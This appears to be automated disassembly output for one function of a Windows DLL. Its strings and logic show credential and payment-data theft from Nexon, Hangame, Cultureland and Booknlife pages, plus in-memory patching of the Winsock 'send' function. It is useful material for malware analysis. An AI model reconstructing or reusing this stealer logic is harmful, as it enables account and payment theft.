Function at 0x10005b90
Capabilities:
Delete registry key
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1001e118
push eax
mov eax, 0x223c
mov dword fs:[0], esp
call fcn.10015fe0
mov edx, ecx
xor eax, eax
push ebx
push esi
push edi
mov ecx, 0xff
lea edi, [ebp - 0x1247]
mov byte [ebp - 0x1248], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x247]
mov byte [ebp - 0x248], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x447]
mov byte [ebp - 0x448], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x143]
mov byte [ebp - 0x144], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x18], edx
stosb byte es:[edi], al
call fcn.10005a30
mov ebx, dword [eax]
mov dword [ebp - 4], 0
test ebx, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x40], ebx
je 0x10005c3f
mov eax, dword [ebx]
push ebx
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
mov byte [ebp - 4], 2
test eax, eax
je 0x10005c50
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0
push 0
push 0xffffffffffffffff
push str.IEPROXYNO
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
dec esi
push esi
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov edi, eax
test edi, edi
mov dword [ebp - 0x20], edi
je 0x10005c8d
push esi
push edi
push 0xffffffffffffffff
push str.IEPROXYNO
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x3c], edi
test ebx, ebx
mov byte [ebp - 4], 3
je 0x10007b71
mov edx, dword [ebx]
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [edx + 0xa0]
test eax, eax
jl 0x10005cfd
mov eax, dword [ebp - 0x30]
test eax, eax
mov ebx, eax
jne 0x10005cbb
mov dword [ebp - 0x1c], ebx
jmp 0x10005cf2
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 2]
mov eax, edi
add eax, 3
and al, 0xfc
call fcn.10015fe0
mov esi, esp
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
push ebx
push 0
push 0
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x30]
mov ebx, esi
mov dword [ebp - 0x1c], ebx
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
test ebx, ebx
jne 0x10005d05
mov ebx, 0x1002e7ec
mov dword [ebp - 0x1c], ebx
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1248]
push ecx
call fcn.1001dd24
push ebx
call fcn.1001dd24
lea edx, [ebp - 0x1248]
push str.www.nexon.com_login_login.aspx
push edx
call fcn.10016760
add esp, 0x10
test eax, eax
je 0x10005d9c
lea eax, [ebp - 0x1248]
push str.fmaplestory.nexon.com_2fmaplestory_2fpage_2fgnx.aspx_3furl_3dhome_2findex
push eax
call fcn.10016760
add esp, 8
test eax, eax
je 0x10005d9c
lea edi, [ebp - 0x1248]
or ecx, 0xffffffff
xor eax, eax
mov dword [0x10042bc8], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x10045f64
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1248]
push str.lcs.mezzo.hangame.com
push eax
call fcn.10016760
add esp, 8
test eax, eax
je 0x10005dfe
lea ecx, [ebp - 0x1248]
push str.p_mny_bal
push ecx
call fcn.10016760
lea edx, [ebp - 0x1248]
push str.p_level
push edx
mov esi, eax
call fcn.10016760
add esp, 0x10
test esi, esi
je 0x10005dfe
test eax, eax
je 0x10005dfe
cmp eax, esi
jbe 0x10005dfe
sub eax, esi
add esi, 0xb
sub eax, 0xb
push eax
push esi
push 0x10044868
call fcn.100169e0
add esp, 0xc
mov ecx, dword [ebp - 0x18]
mov edx, ebx
call fcn.10005150
test eax, eax
je 0x10007b71
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x34]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0xb0]
test eax, eax
jl 0x10007b71
mov eax, dword [ebp - 0x34]
test eax, eax
mov ebx, eax
jne 0x10005e35
xor esi, esi
jmp 0x10005e67
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 2]
mov eax, edi
add eax, 3
and al, 0xfc
call fcn.10015fe0
mov esi, esp
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
push ebx
push 0
push 0
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
test esi, esi
jne 0x10005e77
mov esi, 0x10046210
mov edi, str.IEPROXYU:
or ecx, 0xffffffff
xor eax, eax
push str.IEPROXYU:
repne scasb al, byte es:[edi]
not ecx
dec ecx
push esi
mov ebx, ecx
call fcn.10016760
mov edx, eax
add esp, 8
test edx, edx
je 0x10007b4f
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x848]
push str.IEPROXYU:
rep stosd dword es:[edi], eax
mov ecx, 0x100
lea edi, [ebp - 0xe48]
rep stosd dword es:[edi], eax
push edx
call fcn.10016760
mov esi, eax
add esp, 8
test esi, esi
je 0x10007b71
add esi, ebx
push 0x7c
push esi
call fcn.10016920
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10007b71
push 0x3a
push ebx
call fcn.10016920
add esp, 8
test eax, eax
je 0x10007b71
mov ecx, ebx
lea edi, [ebp - 0x848]
sub ecx, esi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
lea esi, [ebx + 1]
sub ecx, ebx
lea edi, [ebp - 0xe48]
dec ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x20
jae 0x10007b61
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x200
jae 0x10007b61
lea ecx, [ebp - 0x848]
push 0x2f
push ecx
call fcn.10016920
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x1000601e
lea esi, [ebx + 1]
push 0x1002e740
push esi
call fcn.1001c9f0
add esp, 8
test eax, eax
jne 0x10005fbf
mov edi, str.Right
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x10042bb0], eax
mov edx, ecx
mov esi, edi
mov edi, 0x100447e8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x1000601b
push str.nexon
push esi
call fcn.1001c9f0
add esp, 8
test eax, eax
jne 0x1000601e
mov edi, str.Left
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, 1
mov eax, ecx
mov esi, edi
mov edi, 0x100447e8
mov dword [0x10042b3c], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [0x10042bb0], edx
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [0x10042b7c], ecx
mov byte [ebx], 0
mov ecx, dword [ebp - 0x1c]
push 0x1002af70
push ecx
call fcn.10016760
add esp, 8
test eax, eax
je 0x10006267
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0xa47]
mov byte [ebp - 0xa48], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x848]
push 0x1002e724
push edx
stosb byte es:[edi], al
call fcn.10016760
add esp, 8
test eax, eax
je 0x10006267
mov ebx, 1
mov dword [ebp - 0x18], 0x10044940
push ebx
lea eax, [ebp - 0xa48]
push str.scr_d1
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea esi, [ebp - 0xa48]
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100060be
test cl, cl
je 0x100060ba
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100060be
add eax, 2
add esi, 2
test cl, cl
jne 0x1000609a
xor eax, eax
jmp 0x100060c3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100060f0
mov eax, dword [ebp - 0x18]
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
lea edx, [eax - 0x10]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea ecx, [ebp - 0xa48]
push str.scr_d2
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea esi, [ebp - 0xa48]
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10006136
test cl, cl
je 0x10006132
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10006136
add eax, 2
add esi, 2
test cl, cl
jne 0x10006112
xor eax, eax
jmp 0x1000613b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006161
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea ecx, [ebp - 0xa48]
push str.scr_d3
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea esi, [ebp - 0xa48]
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100061a7
test cl, cl
je 0x100061a3
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100061a7
add eax, 2
add esi, 2
test cl, cl
jne 0x10006183
xor eax, eax
jmp 0x100061ac
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100061d9
mov eax, dword [ebp - 0x18]
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
lea edx, [eax + 0x10]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea ecx, [ebp - 0xa48]
push str.scr_d4
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea esi, [ebp - 0xa48]
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000621f
test cl, cl
je 0x1000621b
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000621f
add eax, 2
add esi, 2
test cl, cl
jne 0x100061fb
xor eax, eax
jmp 0x10006224
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006251
mov eax, dword [ebp - 0x18]
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
lea edx, [eax + 0x20]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x18]
inc ebx
add ecx, 0x40
mov dword [ebp - 0x18], ecx
lea ecx, [ebx - 1]
cmp ecx, 0xa
jl 0x10006078
mov edx, dword [ebp - 0x1c]
push 0x1002af70
push edx
call fcn.10016760
add esp, 8
test eax, eax
je 0x100064e0
mov esi, str.CULSNISOK
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x100062b3
test cl, cl
je 0x100062af
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x100062b3
add eax, 2
add esi, 2
test cl, cl
jne 0x1000628b
xor eax, eax
jmp 0x100062b8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100064e0
mov byte [ebp - 0x448], al
mov ebx, 0x10044950
lea edi, [ebx - 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000638b
lea esi, [ebx - 0x10]
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000638b
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000638b
lea edx, [ebx + 0x10]
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000638b
push edx
push ebx
lea eax, [ebx - 0x20]
push esi
push eax
lea eax, [ebp - 0x248]
push str._s__s__s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add ebx, 0x40
cmp ebx, 0x10044bd0
jl 0x100062cb
mov edx, 0x10043d10
mov ecx, 0x10041a08
call fcn.10013520
mov edi, 0x10043d10
or ecx, 0xffffffff
xor eax, eax
push 0x1002b6e4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1002b6ec
mov eax, ecx
mov esi, edi
mov edi, 0x10044140
push str.cultureland
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x448]
push ecx
push 0x10044140
push str._s_ap_sup_spp_sssp_s
push 0x1004246c
call fcn.1001670e
add esp, 0x1c
mov ecx, 0x1003f368
push 0x1004246c
call fcn.10013920
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0xc0
mov byte [ebp - 0x12], 0xc2
mov byte [ebp - 0x11], 0x10
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x28], eax
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10006441
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.send
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x100064e0
mov ecx, 5
lea edi, [ebp - 0x14]
mov esi, ebx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x10006478
mov ecx, dword [eax]
mov dword [0x10042978], ecx
mov dl, byte [eax + 4]
mov byte [0x1004297c], dl
mov eax, dword [0x10046164]
mov dword [ebp - 0x18], 5
test eax, eax
mov dword [ebp - 0x24], ebx
je 0x10006494
mov eax, dword [0x10046168]
test eax, eax
jne 0x100064c1
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.NtWriteVirtualMemory
push esi
call edi
mov dword [0x10046164], eax
push str.NtProtectVirtualMemory
push esi
call edi
mov dword [0x10046168], eax
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x18]
push ecx
push 0x40
push edx
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x24]
push ecx
push edx
call eax
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp - 0x10]
mov dword [ebx], eax
mov byte [ebx + 4], cl
mov eax, dword [0x10042b2c]
test eax, eax
je 0x10006594
mov esi, str.NETOTP
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x10006520
test cl, cl
je 0x1000651c
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x10006520
add eax, 2
add esi, 2
test cl, cl
jne 0x100064f8
xor eax, eax
jmp 0x10006525
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006594
mov edx, 0x100432e8
mov ecx, 0x10040fe0
call fcn.10013520
mov edi, 0x100432e8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10044140
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xe48]
push ecx
push 0x10044788
push 0x10044768
push 0x10044140
push str._s_up_spp_sssp_s
push 0x10042024
call fcn.1001670e
add esp, 0x18
mov ecx, 0x1003f368
push 0x10042024
call fcn.10013ac0
mov edx, dword [ebp - 0x1c]
push str.www.booknlife.com
push edx
call fcn.10016760
add esp, 8
test eax, eax
je 0x10006760
mov esi, str.BOKSNISOK
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x100065e0
test cl, cl
je 0x100065dc
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x100065e0
add eax, 2
add esi, 2
test cl, cl
jne 0x100065b8
xor eax, eax
jmp 0x100065e5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006760
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x448], al
lea edx, [ebp - 0x448]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov edx, 0x10043d10
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x100405b8
call fcn.10013520
mov edi, 0x10043d10
or ecx, 0xffffffff
xor eax, eax
push 0x1002b6e4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1002b6ec
mov edx, ecx
mov esi, edi
mov edi, 0x10044140
lea eax, [ebp - 0x448]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push str.book
push eax
and ecx, 3
push 0x10044140
push str._s_ap_sup_spp_sssp_s
rep movsb byte es:[edi], byte [esi]
push 0x1004246c
call fcn.1001670e
add esp, 0x1c
mov ecx, 0x1003f368
push 0x1004246c
call fcn.10013920
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0xc0
mov byte [ebp - 0x12], 0xc2
mov byte [ebp - 0x11], 0x10
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x18], eax
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x100066c1
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.send
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x10006760
mov ecx, 5
lea edi, [ebp - 0x14]
mov esi, ebx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x100066f8
mov ecx, dword [eax]
mov dword [0x10042978], ecx
mov dl, byte [eax + 4]
mov byte [0x1004297c], dl
mov eax, dword [0x10046164]
mov dword [ebp - 0x28], 5
test eax, eax
mov dword [ebp - 0x24], ebx
je 0x10006714
mov eax, dword [0x10046168]
test eax, eax
jne 0x10006741
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.NtWriteVirtualMemory
push esi
call edi
mov dword [0x10046164], eax
push str.NtProtectVirtualMemory
push esi
call edi
mov dword [0x10046168], eax
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x28]
push ecx
push 0x40
push edx
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x24]
push ecx
push edx
call eax
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp - 0x10]
mov dword [ebx], eax
mov byte [ebx + 4], cl
mov edx, dword [ebp - 0x1c]
push 0x1002b29c
push edx
call fcn.10016760
add esp, 8
test eax, eax
je 0x10006ae8
mov esi, str.NXSNCHEAT
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x100067ac
test cl, cl
je 0x100067a8
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x100067ac
add eax, 2
add esi, 2
test cl, cl
jne 0x10006784
xor eax, eax
jmp 0x100067b1
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006ae8
mov byte [ebp - 0x448], al
mov esi, str.rb_amount_select
mov eax, 0x10045580
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x100067f1
test cl, cl
je 0x100067ed
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x100067f1
add eax, 2
add esi, 2
test cl, cl
jne 0x100067c9
xor eax, eax
jmp 0x100067f6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100068de
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push 0x10045540
push 0x10045530
push 0x10045520
push str._s__s__s
push 0x10042a80
call ebx
add esp, 0x14
push 0x10045560
push 0x10045550
push str._s__s
push 0x10042aa0
call ebx
add esp, 0x10
push 0x10045510
push 0x100455b0
push str._s__s
push 0x10042ae0
call ebx
or ecx, 0xffffffff
lea edi, [ebp - 0x248]
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneSelectMoney
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x10006a00
mov esi, str.rb_amount_input
mov eax, 0x10045580
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x10006910
test cl, cl
je 0x1000690c
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x10006910
add eax, 2
add esi, 2
test cl, cl
jne 0x100068e8
xor eax, eax
jmp 0x10006915
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100069fa
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push 0x10045540
push 0x10045530
push 0x10045520
push str._s__s__s
push 0x10042a80
call ebx
add esp, 0x14
push 0x10045560
push 0x10045550
push str._s__s
push 0x10042aa0
call ebx
add esp, 0x10
push 0x10045510
push 0x100455a0
push str._s__s
push 0x10042ae0
call ebx
or ecx, 0xffffffff
lea edi, [ebp - 0x248]
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneInputMoney
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x10006a00
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, str.nxPhoneInputMoney
lea esi, [ebp - 0x144]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006a33
test al, al
je 0x10006a2f
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006a33
add esi, 2
add edi, 2
test al, al
jne 0x10006a0b
xor eax, eax
jmp 0x10006a38
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10006a78
mov edi, str.nxPhoneSelectMoney
lea esi, [ebp - 0x144]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006a6f
test al, al
je 0x10006a6b
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006a6f
add esi, 2
add edi, 2
test al, al
jne 0x10006a47
xor eax, eax
jmp 0x10006a74
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006aee
mov edx, 0x10043f18
mov ecx, 0x10041c10
call fcn.10013520
mov edi, 0x10043f18
or ecx, 0xffffffff
xor eax, eax
push str.888888
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10042ae0
mov eax, ecx
mov esi, edi
mov edi, 0x10044140
push 0x10042aa0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x10042a80
and ecx, 3
push 0x10044140
push str._s_ap_sup_spp_sssp_s
push 0x1004246c
rep movsb byte es:[edi], byte [esi]
call fcn.1001670e
add esp, 0x1c
mov ecx, 0x1003f368
push 0x1004246c
call fcn.10013920
jmp 0x10006aee
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp - 0x1c]
push 0x1002b29c
push ecx
call fcn.10016760
add esp, 8
test eax, eax
je 0x10006de1
mov edi, str.NXSNTICK
lea esi, [ebp - 0x848]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x10006b3a
test al, al
je 0x10006b36
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x10006b3a
add esi, 2
add edi, 2
test al, al
jne 0x10006b12
xor eax, eax
jmp 0x10006b3f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006de1
mov byte [ebp - 0x448], al
mov edi, str.rb_amount_select
mov esi, 0x10045580
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x10006b7f
test al, al
je 0x10006b7b
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x10006b7f
add esi, 2
add edi, 2
test al, al
jne 0x10006b57
xor eax, eax
jmp 0x10006b84
sbb eax, eax
sbb eax, 0xffffffff
